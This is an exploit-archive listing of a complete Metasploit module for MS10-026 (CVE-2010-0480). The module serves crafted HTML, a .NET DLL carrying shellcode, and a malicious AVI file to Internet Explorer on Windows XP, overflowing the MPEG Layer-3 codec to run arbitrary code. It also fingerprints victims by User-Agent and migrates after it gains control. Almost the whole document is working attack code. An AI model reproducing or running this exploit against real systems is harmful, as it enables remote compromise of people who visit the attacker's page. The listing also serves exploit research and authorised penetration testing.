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MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow

MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow
Posted Aug 13, 2011
Authored by Javier G. Sanchez, Shahin, juan vazquez, Yamata Li | Site metasploit.com

This Metasploit module exploits a buffer overflow in l3codecx.ax while processing a AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite with 0's so the three least significant bytes of EIP saved on stack are overwritten and shellcode is mapped using the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. Please note on IE 8 targets, your malicious URL must be a trusted site in order to load the .Net control.

tags | exploit, overflow, shellcode
advisories | CVE-2010-0480, OSVDB-63749
SHA-256 | bf8b665e00a66d83f342244fe6468d8bae22e7105c7353d9ceb3aa7194057854

MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow

Change Mirror Download
##
# $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
'Description' => %q{
This module exploits a buffer overlow in l3codecx.ax while processing a
AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
with 0's so the three least significant bytes of EIP saved on stack are
overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
by Alexander Sotirov and Mark Dowd.

Please note on IE 8 targets, your malicious URL must be a trusted site in order
to load the .Net control.
},
'Author' =>
[
'Yamata Li', # Vulnerability Discovery
'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit
'juan vazquez', # Metasploit module
'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13555 $',
'References' =>
[
['CVE', '2010-0480'],
['OSVDB', '63749'],
['BID', '39303'],
['MSB', 'MS10-026'],
['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
],
'Payload' =>
{
'Space' => 4000
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Targets' =>
[
# Target 0: Automatic
# Tested with:
# Windows XP SP3 English IE 6
# Windows XP SP3 English IE 7
# Windows XP SP3 English IE 8: The exploiting site must be a trusted
# site to load the .NET control
# .NET CLR required
[
'Windows XP SP3 Automatic',
{
'Platform' => 'win',
'Ret' => 0x72000000
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 13 2010'))
end

def exploit
# Embed our payload in a .Net binary
ibase = target.ret - 0x10000
shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
shellcode << payload.encoded

#Use our own custom .Net binary, because we require a much bigger file
#to land our payload at the right place
opts = {
:template => 'template_dotnetmem.dll',
:text_offset => 0x1285,
:text_max => 0x20000,
:pack => 'a131072',
:uuid_offset => 135816
}

@dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)

# Load our AVI file
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
f = File.open(path, "rb")
@trigger = f.read(f.stat.size)
f.close

super
end

def on_request_uri(cli, request)

agent = request['User-Agent']
case request['User-Agent']
when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
when /Windows-Media-Player/
# AVI is requested by WMP
else
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}")
return
end

if (request.uri =~ /\.html/i)
avi_name = rand_text_alpha(4)
avi_trigger = ""

if ("/" == get_resource[-1,1])
avi_trigger = get_resource[0, get_resource.length - 1]
else
avi_trigger = get_resource
end

avi_trigger << "/#{avi_name}.avi"

html = %Q|<html>
<body>
<OBJECT ID="MediaPlayer"
CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
TYPE="application/x-oleobject" width="280" height="46">
<param name="fileName" value="#{avi_trigger}">
<param name="animationatStart" value="true">
<param name="transparentatStart" value="true">
<param name="autoStart" value="true">
<param name="showControls" value="true">
<param name="Volume" value="-300">
<embed type="application/x-mplayer2"
pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
src="#{avi_trigger}"
name="MediaPlayer"
width=280
height=46
autostart=1
showcontrols=1
volume=-300>
</embed>
</OBJECT>
</body>
</html>
|

html = html.gsub(/^\t\t\t/, '')

print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)

elsif (request.uri =~ /\.avi$/i)

print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..."
send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
return

elsif (request.uri =~ /\.dll$/i)

print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..."
send_response(
cli,
@dotnet_payload,
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
}
)
return

end

html_name = rand_text_alpha(4)
dll_uri = ""
html_trigger = ""

if ("/" == get_resource[-1,1])
dll_uri = get_resource[0, get_resource.length - 1]
html_trigger = get_resource[0, get_resource.length - 1]
else
dll_uri = get_resource
html_trigger = get_resource
end

dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
html_trigger << "/#{html_name}.html"

html = %Q|<html>
<head>
<script language="javascript">
function forward() {
window.location = window.location + '#{html_trigger}';
}

function start() {
setTimeout("forward()", 2000);
}
</script>
</head>
<body onload="start()">
<object classid="#{dll_uri}#GenericControl">
<object>
</body>
</html>
|

html = html.gsub(/^\t\t/, '')

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)
end

end
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